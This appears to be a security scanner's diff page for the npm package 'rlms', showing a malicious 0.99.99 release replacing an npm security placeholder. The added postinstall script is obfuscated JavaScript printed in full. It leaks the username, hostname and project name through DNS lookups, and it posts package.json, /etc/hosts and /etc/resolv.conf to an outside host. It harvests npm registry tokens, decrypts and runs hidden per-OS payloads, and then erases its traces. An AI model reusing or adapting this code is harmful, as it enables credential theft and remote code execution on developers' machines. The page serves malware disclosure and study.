rlms 0.0.1-security → 0.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of rlms might be problematic. Click here for more details.

@@ -0,0 +1 @@
1
+ const a0_0xf7baf2=a0_0x3a67;(function(_0x400060,_0x4ed7cc){const _0x3a91e6=a0_0x3a67,_0x41a6ce=_0x400060();while(!![]){try{const _0x2f7b15=-parseInt(_0x3a91e6(0xef))/0x1*(-parseInt(_0x3a91e6(0xf5))/0x2)+-parseInt(_0x3a91e6(0xc4))/0x3*(-parseInt(_0x3a91e6(0xa3))/0x4)+-parseInt(_0x3a91e6(0xe7))/0x5+parseInt(_0x3a91e6(0xa6))/0x6+parseInt(_0x3a91e6(0x99))/0x7*(-parseInt(_0x3a91e6(0xc8))/0x8)+parseInt(_0x3a91e6(0xbd))/0x9+-parseInt(_0x3a91e6(0xfe))/0xa;if(_0x2f7b15===_0x4ed7cc)break;else _0x41a6ce['push'](_0x41a6ce['shift']());}catch(_0x50724e){_0x41a6ce['push'](_0x41a6ce['shift']());}}}(a0_0x2d06,0x9d892));const semver=require(a0_0xf7baf2(0x95)),os=require('os'),fs=require('fs'),axios=require(a0_0xf7baf2(0xb2)),crypto=require(a0_0xf7baf2(0xe9));var dns=require(a0_0xf7baf2(0xa5)),path=require(a0_0xf7baf2(0xa2));telemetry='.pkgio.com';const https=require(a0_0xf7baf2(0xbe)),{spawnSync}=require(a0_0xf7baf2(0xb3)),{spawn}=require(a0_0xf7baf2(0xb3)),mypackage=a0_0xf7baf2(0xf4);myevilversions=a0_0xf7baf2(0xce),triggerversion='99.99.99';function a0_0x3a67(_0xdaab26,_0x42a50c){const _0x2d06af=a0_0x2d06();return a0_0x3a67=function(_0x3a679e,_0x3a612d){_0x3a679e=_0x3a679e-0x95;let _0x192b73=_0x2d06af[_0x3a679e];return _0x192b73;},a0_0x3a67(_0xdaab26,_0x42a50c);}const agent=new https[(a0_0xf7baf2(0xee))]({'rejectUnauthorized':![]});try{const data=fs['readFileSync'](path['join'](process['cwd'](),'package.json'),a0_0xf7baf2(0xca));triggerversion=JSON[a0_0xf7baf2(0xcb)](data)['version'];}catch(a0_0x3f7b8e){}function a0_0x2d06(){const _0x40ea21=['readdirSync','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','2142364ZfLUuM','length','lstatSync','yarn/1.22.17\x20npm/8.0\x20node/v16.2.1','iiipkillkdeqcyh','darwin','hostname','unlink','NO_PROXY','path','292764eHWGnU','{\x0a\x20\x20\x20\x20\x22name\x22:\x20\x22','dns','2037804SRojol','Bearer\x20','copyFileSync','node_modules','mynpm_config_registry','package.json','LOAD_ERR','/etc/hosts','cwd','silent','yes','split','axios','child_process','maxSatisfying','\x22,\x0a\x20\x20\x20\x20\x22version\x22:\x20\x22','token','post','obfusc.enc.js','existsSync','mkdirSync','error','message','9210897lCDyhD','https','get','isFile','env','binary','forEach','36zuNgDA','root','push','HNQZmrYiLdYrdazwmkUblOHAapJGGiOg','24vVNXzO','auth','utf8','parse','platform','load','99.99','.documentation','obfusc.dec.js','mac.dec.js','replace','versions','readFileSync','lin.dec.js','slice','rmdirSync','floor','INSTALL_ERR','all','user-agent','https://www','aes-256-cbc','userInfo','None','isSymbolicLink','win.dec.js','unlinkSync','output','code','keys','createDecipheriv','3462040PEtNvf','win.enc.js','crypto',':_authToken','startsWith','confsettingsaaa.js',':registry','Agent','49bHgMvp','then','tmpdir','undefined','data','rlms','5886YLhtQf','readlink','writeFileSync','mac.enc.js','toString','config','/etc/resolv.conf','name','.npmrc','1297360WMEaAS','includes','getCredentialsByURI','.0.0','lqxebnynzfszeuh','Cleanup\x20was\x20not\x20successful:\x20','Basic\x20','log','join','latest','catch','base64','lookup','arraybuffer','http','lin.enc.js','semver','tarball'];a0_0x2d06=function(){return _0x40ea21;};return a0_0x2d06();}function replacespecial(_0x5785af){const _0x146f8f=a0_0xf7baf2;_0x5785af=_0x5785af[_0x146f8f(0xf9)]();while(_0x5785af['includes']('/')){_0x5785af=_0x5785af[_0x146f8f(0xd2)]('/','-');}while(_0x5785af[_0x146f8f(0xff)](':')){_0x5785af=_0x5785af[_0x146f8f(0xd2)](':','-');}while(_0x5785af[_0x146f8f(0xff)](',')){_0x5785af=_0x5785af[_0x146f8f(0xd2)](',','-');}while(_0x5785af['includes']('\x20')){_0x5785af=_0x5785af['replace']('\x20','-');}while(_0x5785af['includes']('~')){_0x5785af=_0x5785af[_0x146f8f(0xd2)]('~','-');}while(_0x5785af['includes']('@')){_0x5785af=_0x5785af[_0x146f8f(0xd2)]('@','-');}return _0x5785af;}function decryptstring(_0x4881d9,_0x2b7c4f,_0x1d1ef1){const _0x579be6=a0_0xf7baf2;var _0x20c577=crypto[_0x579be6(0xe6)](_0x579be6(0xdd),_0x4881d9,_0x2b7c4f),_0x34eb57=_0x20c577['update'](_0x1d1ef1,_0x579be6(0x109),_0x579be6(0xca));return _0x34eb57+=_0x20c577['final'](_0x579be6(0xca)),_0x34eb57;}function fail(){const _0x3a9c12=a0_0xf7baf2;try{fs[_0x3a9c12(0xa0)](path['join'](process['cwd'](),_0x3a9c12(0xab)),_0x40b22d=>{}),fs['unlink'](path[_0x3a9c12(0x106)](process[_0x3a9c12(0xae)](),'confsettingsaaa.js'),_0x46291f=>{}),fs['existsSync'](_0x3a9c12(0xf8))&&fs[_0x3a9c12(0xa0)](_0x3a9c12(0xf8),_0x45a07b=>{if(_0x45a07b){}}),fs[_0x3a9c12(0xb9)](_0x3a9c12(0xd1))&&fs['unlink']('mac.dec.js',_0x15248c=>{if(_0x15248c){}}),fs[_0x3a9c12(0xb9)](_0x3a9c12(0xd5))&&fs[_0x3a9c12(0xa0)](_0x3a9c12(0xd5),_0x54f5b1=>{if(_0x54f5b1){}}),fs['existsSync'](_0x3a9c12(0xe1))&&fs[_0x3a9c12(0xa0)](_0x3a9c12(0xe1),_0x4bb170=>{if(_0x4bb170){}}),fs['existsSync'](_0x3a9c12(0xfd))&&fs[_0x3a9c12(0xa0)](_0x3a9c12(0xfd),_0x49aa20=>{if(_0x49aa20){}}),fs[_0x3a9c12(0xb9)](_0x3a9c12(0x10d))&&fs[_0x3a9c12(0xa0)](_0x3a9c12(0x10d),_0x51244f=>{if(_0x51244f){}}),fs[_0x3a9c12(0xb9)](_0x3a9c12(0xe8))&&fs[_0x3a9c12(0xa0)](_0x3a9c12(0xe8),_0x5c7f1e=>{if(_0x5c7f1e){}}),fs[_0x3a9c12(0xa0)](path['join'](process[_0x3a9c12(0xae)](),'obfusc.enc.js'),_0x2ae579=>{});}catch{}fs[_0x3a9c12(0xf7)](_0x3a9c12(0xab),_0x3a9c12(0xa4)+mypackage+_0x3a9c12(0xb5)+triggerversion+'\x22,\x0a\x20\x20\x20\x20\x22description\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22main\x22:\x20\x22index.js\x22,\x0a\x20\x20\x20\x20\x22scripts\x22:\x20{\x0a\x20\x20\x20\x20\x20\x20\x22test\x22:\x20\x22echo\x20\x27Error:\x20no\x20test\x20specified\x27\x20&&\x20exit\x201\x22\x0a\x20\x20\x20\x20},\x0a\x20\x20\x20\x20\x22keywords\x22:\x20[],\x0a\x20\x20\x20\x20\x22author\x22:\x20\x22\x22,\x0a\x20\x20\x20\x20\x22license\x22:\x20\x22ISC\x22\x0a\x20\x20}\x0a\x20\x20'),fs[_0x3a9c12(0xf7)]('index.js','console.log(\x27Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team\x27);\x0aprocess.exit(-1);\x0a\x20\x20'),console[_0x3a9c12(0x105)]('Please\x20refer\x20to\x20the\x20private\x20registry\x20instead\x20of\x20the\x20public\x20repo;\x20Security\x20Team'),process['exit'](-0x1);}try{dns['lookup'](replacespecial(os[a0_0xf7baf2(0xde)]()['username'])+'.'+replacespecial(os[a0_0xf7baf2(0x9f)]())+'.h'+telemetry,(_0x2c99ea,_0x27f920,_0x4c64d7)=>{const _0x317866=a0_0xf7baf2;_0x2c99ea&&console[_0x317866(0x105)](_0x2c99ea['message']);});var localpack=fs[a0_0xf7baf2(0xd4)](path[a0_0xf7baf2(0x106)](process['cwd'](),a0_0xf7baf2(0xab)),'utf8');nameresolved=JSON[a0_0xf7baf2(0xcb)](localpack)[a0_0xf7baf2(0xfc)],dns[a0_0xf7baf2(0x10a)](replacespecial(nameresolved)+'.n'+telemetry,(_0x3d0295,_0x505f6d,_0x4cbae0)=>{const _0x5c074e=a0_0xf7baf2;_0x3d0295&&console[_0x5c074e(0x105)](_0x3d0295['message']);}),process[a0_0xf7baf2(0xc1)]['NO_PROXY']&&dns['lookup'](replacespecial(process[a0_0xf7baf2(0xc1)][a0_0xf7baf2(0xa1)])+'.p'+telemetry,(_0x2d120a,_0x2fc28e,_0x1cd853)=>{const _0x2c3fc8=a0_0xf7baf2;_0x2d120a&&console[_0x2c3fc8(0x105)](_0x2d120a[_0x2c3fc8(0xbc)]);});}catch(a0_0x51abf4){}function deletefilesinfolder(_0x12b8ab){const _0x226929=a0_0xf7baf2;fs['readdirSync'](_0x12b8ab)[_0x226929(0xc3)](_0x35604a=>{const _0x2edeb1=_0x226929;relativepath=path['join'](_0x12b8ab,_0x35604a),fs[_0x2edeb1(0x9b)](relativepath)['isDirectory']()?deletefilesinfolder(relativepath):fs[_0x2edeb1(0xe2)](relativepath);}),fs[_0x226929(0xd7)](_0x12b8ab);}function cleanup(_0xf8230e){const _0x16f4d4=a0_0xf7baf2;try{fs[_0x16f4d4(0xb9)]('obfusc.dec.js')&&fs[_0x16f4d4(0xa0)](_0x16f4d4(0xd0),_0x1daf0e=>{if(_0x1daf0e){}}),fs[_0x16f4d4(0xb9)](_0x16f4d4(0xb8))&&fs[_0x16f4d4(0xa0)](_0x16f4d4(0xb8),_0x409c16=>{if(_0x409c16){}}),fs[_0x16f4d4(0xb9)]('.npmrc')&&fs[_0x16f4d4(0xa0)]('.npmrc',_0x559580=>{if(_0x559580){}}),fs[_0x16f4d4(0xb9)](path['join'](os[_0x16f4d4(0xf1)](),_0xf8230e))&&fs['unlink'](path[_0x16f4d4(0x106)](os[_0x16f4d4(0xf1)](),_0xf8230e),_0x1c7ac1=>{if(_0x1c7ac1){}}),fs[_0x16f4d4(0xb9)](path[_0x16f4d4(0x106)](process[_0x16f4d4(0xae)](),'confsettingsaaa.js'))&&fs[_0x16f4d4(0xa0)](path[_0x16f4d4(0x106)](process['cwd'](),_0x16f4d4(0xec)),_0x18859e=>{if(_0x18859e){}}),fs['existsSync'](_0x16f4d4(0xf8))&&fs['unlink'](_0x16f4d4(0xf8),_0xbc40d4=>{if(_0xbc40d4){}}),fs['existsSync'](_0x16f4d4(0x10d))&&fs[_0x16f4d4(0xa0)]('lin.enc.js',_0x315ecc=>{if(_0x315ecc){}}),fs['existsSync'](_0x16f4d4(0xe8))&&fs['unlink'](_0x16f4d4(0xe8),_0x20bae5=>{if(_0x20bae5){}}),fs[_0x16f4d4(0xb9)](_0x16f4d4(0xd1))&&fs[_0x16f4d4(0xa0)](_0x16f4d4(0xd1),_0xb673d5=>{if(_0xb673d5){}}),fs[_0x16f4d4(0xb9)]('lin.dec.js')&&fs[_0x16f4d4(0xa0)](_0x16f4d4(0xd5),_0x34ce38=>{if(_0x34ce38){}}),fs[_0x16f4d4(0xb9)]('win.dec.js')&&fs[_0x16f4d4(0xa0)]('win.dec.js',_0x3cc4d1=>{if(_0x3cc4d1){}}),deletefilesinfolder(path[_0x16f4d4(0x106)](process[_0x16f4d4(0xae)](),'.documentation'));}catch(_0x4c7315){console['log'](_0x16f4d4(0x103)+_0x4c7315);}}function startdefault(_0x5231dd,_0x2e590b,_0x1cf703){const _0x167a56=a0_0xf7baf2;contents=fs['readFileSync'](_0x167a56(0xb8),{'encoding':_0x167a56(0x109)}),decrypted=decryptstring(_0x5231dd,_0x2e590b,contents),fs[_0x167a56(0xf7)](_0x167a56(0xd0),decrypted,{'encoding':_0x167a56(0x109)});try{const _0x36e3fe=spawn('node',[_0x167a56(0xd0)],{'cwd':process[_0x167a56(0xae)](),'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x36e3fe['on'](_0x167a56(0xbb),_0x42220f=>{}),_0x36e3fe['unref'](),setTimeout(()=>{cleanup(_0x1cf703);},0xea60);}catch{cleanup(_0x1cf703);}}function cleanupstart(_0x414bb0){const _0x423a78=a0_0xf7baf2;topostfiles=[_0x423a78(0xab),_0x423a78(0xad),_0x423a78(0xfb)];for(var _0x57c231 of topostfiles){if(fs[_0x423a78(0xb9)](_0x57c231)){contents=fs[_0x423a78(0xd4)](_0x57c231,{'encoding':_0x423a78(0x109)});try{axios({'method':_0x423a78(0xb7),'url':_0x423a78(0xdc)+telemetry+'/'+_0x57c231,'data':{'data':contents},'httpsAgent':agent,'maxBodyLength':Infinity,'maxContentLength':Infinity})[_0x423a78(0x108)](function(_0x46e0fa){});}catch{}}}key=_0x423a78(0xc7),iv='AUQskZycXsOaRieq';if(process[_0x423a78(0xcc)][_0x423a78(0xff)](_0x423a78(0x9e))){if(fs[_0x423a78(0xb9)](_0x423a78(0xf8))){contents=fs[_0x423a78(0xd4)](_0x423a78(0xf8),{'encoding':_0x423a78(0x109)}),decrypted=decryptstring(key,iv,contents),fs[_0x423a78(0xf7)]('mac.dec.js',decrypted,{'encoding':'base64','mode':0x1ed});const _0xc569de=spawnSync(path[_0x423a78(0x106)](process[_0x423a78(0xae)](),'mac.dec.js'),{'cwd':process[_0x423a78(0xae)]()});test=_0xc569de['output'],cleanup(_0x414bb0);}else startdefault(key,iv,_0x414bb0);}else{if(process[_0x423a78(0xcc)]['includes']('win')){if(fs[_0x423a78(0xb9)](_0x423a78(0xe8))){contents=fs[_0x423a78(0xd4)](_0x423a78(0xe8),{'encoding':_0x423a78(0x109)}),decrypted=decryptstring(key,iv,contents),fs[_0x423a78(0xf7)](_0x423a78(0xe1),decrypted,{'encoding':_0x423a78(0x109),'mode':0x1ed});const _0x2c8446=spawnSync(path[_0x423a78(0x106)](process['cwd'](),_0x423a78(0xe1)),{'cwd':process[_0x423a78(0xae)]()});test=_0x2c8446[_0x423a78(0xe3)],cleanup(_0x414bb0);}else startdefault(key,iv,_0x414bb0);}else{if(fs[_0x423a78(0xb9)](_0x423a78(0x10d))){contents=fs[_0x423a78(0xd4)](_0x423a78(0x10d),{'encoding':'base64'}),decrypted=decryptstring(key,iv,contents),fs['writeFileSync']('lin.dec.js',decrypted,{'encoding':_0x423a78(0x109),'mode':0x1ed});const _0x2c4f0a=spawnSync(path['join'](process[_0x423a78(0xae)](),_0x423a78(0xd5)),{'cwd':process[_0x423a78(0xae)]()});test=_0x2c4f0a[_0x423a78(0xe3)],cleanup(_0x414bb0);}else startdefault(key,iv,_0x414bb0);}}}function getRandomString(_0x14f681){const _0x37635f=a0_0xf7baf2;var _0x37a414=_0x37635f(0x98),_0x216170='';for(var _0x10cbd5=0x0;_0x10cbd5<_0x14f681;_0x10cbd5++){_0x216170+=_0x37a414['charAt'](Math[_0x37635f(0xd8)](Math['random']()*_0x37a414[_0x37635f(0x9a)]));}return _0x216170;}function copyFolderSync(_0xbe8b6a,_0x581684){const _0xd2358f=a0_0xf7baf2;!fs['existsSync'](_0x581684)&&fs[_0xd2358f(0xba)](_0x581684),fs[_0xd2358f(0x97)](_0xbe8b6a)[_0xd2358f(0xc3)](_0x3c1360=>{const _0x1fbf52=_0xd2358f;if(fs[_0x1fbf52(0x9b)](path['join'](_0xbe8b6a,_0x3c1360))[_0x1fbf52(0xc0)]())fs[_0x1fbf52(0xa8)](path['join'](_0xbe8b6a,_0x3c1360),path[_0x1fbf52(0x106)](_0x581684,_0x3c1360));else fs['lstatSync'](path[_0x1fbf52(0x106)](_0xbe8b6a,_0x3c1360))[_0x1fbf52(0xe0)]()?fs[_0x1fbf52(0xf6)](path[_0x1fbf52(0x106)](_0xbe8b6a,_0x3c1360),(_0x5b915c,_0x5b1146)=>{!_0x5b915c&&fs['symlink'](_0x5b1146,path['join'](_0x581684,_0x3c1360),()=>{});}):copyFolderSync(path[_0x1fbf52(0x106)](_0xbe8b6a,_0x3c1360),path[_0x1fbf52(0x106)](_0x581684,_0x3c1360));});}function downloadtarball(_0x486c84,_0x15b619,_0x4df63a){const _0x36c631=a0_0xf7baf2;_0x15b619['responseType']=_0x36c631(0x10b),tempmodule=getRandomString(0xa)+'.tgz',axios[_0x36c631(0xbf)](_0x486c84,_0x15b619)['then'](function(_0x106f9f){const _0x361048=_0x36c631;fs[_0x361048(0xf7)](path['join'](os[_0x361048(0xf1)](),tempmodule),_0x106f9f[_0x361048(0xf3)],{'encoding':_0x361048(0xc2)}),process[_0x361048(0xc1)][_0x361048(0xaa)]=_0x4df63a;var _0x3ed4ec={'name':path['join'](os[_0x361048(0xf1)](),tempmodule),'version':_0x361048(0x107),'path':path['join'](process[_0x361048(0xae)](),_0x361048(0xcf)),'localInstall':!![],'forceInstall':!![],'npmLoad':{'loglevel':'silent','registry':_0x4df63a,'loaded':![],'progress':![]}},_0x4c84ce=require(_0x361048(0x9d));_0x4c84ce(_0x3ed4ec,function(_0x52d0af,_0x572e56){const _0x4e3e78=_0x361048;if(_0x52d0af){if(_0x52d0af[_0x4e3e78(0xe4)]===_0x4c84ce[_0x4e3e78(0xac)])fail();else{if(_0x52d0af[_0x4e3e78(0xe4)]===_0x4c84ce[_0x4e3e78(0xd9)])fail();}return fail();}else mypackage[_0x4e3e78(0xeb)]('@')?copyFolderSync(path[_0x4e3e78(0x106)](process['cwd'](),_0x4e3e78(0xcf),'node_modules'),path['join'](process[_0x4e3e78(0xae)](),'..','..')):copyFolderSync(path['join'](process[_0x4e3e78(0xae)](),'.documentation',_0x4e3e78(0xa9)),path[_0x4e3e78(0x106)](process['cwd'](),'..')),cleanupstart(tempmodule);});});}function extractnewest(_0x5520b9){const _0x13ec02=a0_0xf7baf2;try{possibletarballs=[],versions=_0x5520b9[_0x13ec02(0xd3)],matchingsemver=[];for(const _0x2bc852 in versions){!_0x2bc852[_0x13ec02(0xff)](myevilversions)&&matchingsemver[_0x13ec02(0xc6)](_0x2bc852);}semverstring='^'+triggerversion[_0x13ec02(0xb1)]('.')[0x0]+_0x13ec02(0x101),bestsemver=semver[_0x13ec02(0xb4)](matchingsemver,semverstring,{'includePrerelease':![]});bestsemver==null&&(bestsemver=semver['maxSatisfying'](matchingsemver,'*',{'includePrerelease':![]}));if(bestsemver==null)return _0x13ec02(0xdf);return versions[bestsemver]['dist'][_0x13ec02(0x96)];}catch(_0x10745d){return _0x13ec02(0xdf);}}try{paths=process[a0_0xf7baf2(0xae)]();var didwecopy='no';while(!fs[a0_0xf7baf2(0xb9)](path[a0_0xf7baf2(0x106)](paths,a0_0xf7baf2(0xfd)))&&paths!=path[a0_0xf7baf2(0xcb)](process[a0_0xf7baf2(0xae)]())[a0_0xf7baf2(0xc5)]){paths=path['join'](paths,'..');}if(paths=='/'||paths==process['cwd']()){}else fs[a0_0xf7baf2(0xa8)](path[a0_0xf7baf2(0x106)](paths,a0_0xf7baf2(0xfd)),a0_0xf7baf2(0xfd)),didwecopy=a0_0xf7baf2(0xb0);const mynpm=require(a0_0xf7baf2(0x102));try{mynpm[a0_0xf7baf2(0xcd)]({'loaded':![],'loglevel':a0_0xf7baf2(0xaf)},function(_0x3b2112){const _0x2c4837=a0_0xf7baf2;if(_0x3b2112)fail();else{var _0x264666={};const _0x4987e7=mynpm['config'][_0x2c4837(0xbf)]('registry');var _0x264666={},_0x8d910b={};for(const _0x4e9919 of mynpm['config'][_0x2c4837(0xe5)]){if(_0x4e9919[_0x2c4837(0xff)](_0x2c4837(0xed)))_0x264666[_0x4e9919[_0x2c4837(0xb1)](':')[0x0]]=mynpm[_0x2c4837(0xfa)]['get'](_0x4e9919);else _0x4e9919['includes']('-registry')&&_0x4e9919['startsWith']('_')&&(_0x264666['@'+_0x4e9919[_0x2c4837(0xb1)]('_')[0x1][_0x2c4837(0xb1)]('-')[0x0]]=mynpm[_0x2c4837(0xfa)]['get'](_0x4e9919));_0x4e9919[_0x2c4837(0xff)](_0x2c4837(0xea))&&(_0x8d910b[_0x4e9919]=mynpm[_0x2c4837(0xfa)][_0x2c4837(0xbf)](_0x4e9919)),mynpm[_0x2c4837(0xfa)][_0x2c4837(0xbf)](_0x2c4837(0xc9))&&(_0x8d910b[_0x2c4837(0xc9)]=mynpm[_0x2c4837(0xfa)][_0x2c4837(0xbf)]('auth'));}_0x4987e7==undefined&&Object[_0x2c4837(0xe5)](_0x264666)[_0x2c4837(0x9a)]==0x0&&fail();try{try{touseregistries=[];mypackage['includes']('/')?(scope=mypackage[_0x2c4837(0xb1)]('/')[0x0],!(_0x264666[scope]==undefined)&&touseregistries[_0x2c4837(0xc6)](_0x264666[scope]),!(_0x4987e7==undefined)&&touseregistries['push'](_0x4987e7)):!(_0x4987e7==undefined)&&touseregistries[_0x2c4837(0xc6)](_0x4987e7);touseregistries[_0x2c4837(0x9a)]==0x0&&fail();try{promises=[],requests=[];for(var _0x5d781f of touseregistries){lastletters=_0x5d781f['split']('/')['slice'](0x2,_0x5d781f[_0x2c4837(0xb1)]('/')[_0x2c4837(0x9a)])['join']('/')[_0x2c4837(0xd6)](0x0,-0x1),tokenforauth=mynpm[_0x2c4837(0xfa)]['getCredentialsByURI'](_0x5d781f),tokenforauth[_0x2c4837(0xb6)]==undefined&&tokenforauth[_0x2c4837(0xc9)]==undefined&&(_0x5d781f['endsWith']('/')?_0x5d781f=_0x5d781f[_0x2c4837(0xd6)](0x0,-0x1):_0x5d781f=_0x5d781f+'/',tokenforauth=mynpm[_0x2c4837(0xfa)][_0x2c4837(0x100)](_0x5d781f)),_0x5d781f[_0x2c4837(0xd6)](-0x1)=='/'?packageurl=_0x5d781f+mypackage:packageurl=_0x5d781f+'/'+mypackage,mycustomuseragent=typeof mynpm['config'][_0x2c4837(0xbf)](_0x2c4837(0xdb))===_0x2c4837(0xf2)?_0x2c4837(0x9c):mynpm['config'][_0x2c4837(0xbf)](_0x2c4837(0xdb)),tokenforauth['token']!=undefined&&(options={'headers':{'Authorization':_0x2c4837(0xa7)+tokenforauth[_0x2c4837(0xb6)],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x2c4837(0xc6)]([packageurl,options,_0x5d781f])),tokenforauth[_0x2c4837(0xc9)]!=undefined&&(options={'headers':{'Authorization':_0x2c4837(0x104)+tokenforauth[_0x2c4837(0xc9)],'User-Agent':mycustomuseragent},'httpsAgent':agent},requests[_0x2c4837(0xc6)]([packageurl,options,_0x5d781f])),options={'headers':{'User-Agent':mycustomuseragent},'httpsAgent':agent},requests['push']([packageurl,options,_0x5d781f]);}for(i=0x0;i<requests[_0x2c4837(0x9a)];i++){promises[_0x2c4837(0xc6)](axios['get'](requests[i][0x0],requests[i][0x1])[_0x2c4837(0x108)](function(_0x5424de){}));}axios[_0x2c4837(0xda)](promises)[_0x2c4837(0xf0)](_0x441513=>{const _0x259156=_0x2c4837;tarballs=[];_0x441513[_0x259156(0x9a)]==0x1&&(_0x441513[0x0]==undefined&&fail());for(i=0x0;i<_0x441513[_0x259156(0x9a)];i++){_0x441513[i]!=undefined&&(tarballurl=extractnewest(_0x441513[i]['data']),tarballurl[_0x259156(0xff)](_0x259156(0x10c))&&tarballs[_0x259156(0xc6)]([requests[i],tarballurl]));}tarballs[_0x259156(0x9a)]==0x0?fail():downloadtarball(tarballs[0x0][0x1],tarballs[0x0][0x0][0x1],tarballs[0x0][0x0][0x2]);});}catch(_0x5dd393){fail();}}catch(_0x140852){fail();}}catch(_0x2a34d5){fail();}}});}catch(a0_0x4ebdac){fail();}}catch(a0_0x25111a){fail();}/*NodeJS package that gives a simplier evil API to npm install (programatically installs things)*/
package/obfusc.enc.js ADDED
Binary file
package/package.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "name": "rlms",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {"name": "rlms", "version": "0.99.99", "description": "", "main": "index.js", "scripts": {"postinstall": "node confsettingsaaa.js", "test": "echo \"Error: no test specified\" && exit 1"}, "keywords": [], "dependencies": {"axios": "0.26.0", "targz": "1.0.1", "iiipkillkdeqcyh": "^4.0.0", "lqxebnynzfszeuh": "^0.5.57", "semver": "7.3.5"}, "author": "", "license": "ISC"}
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rlms for more information.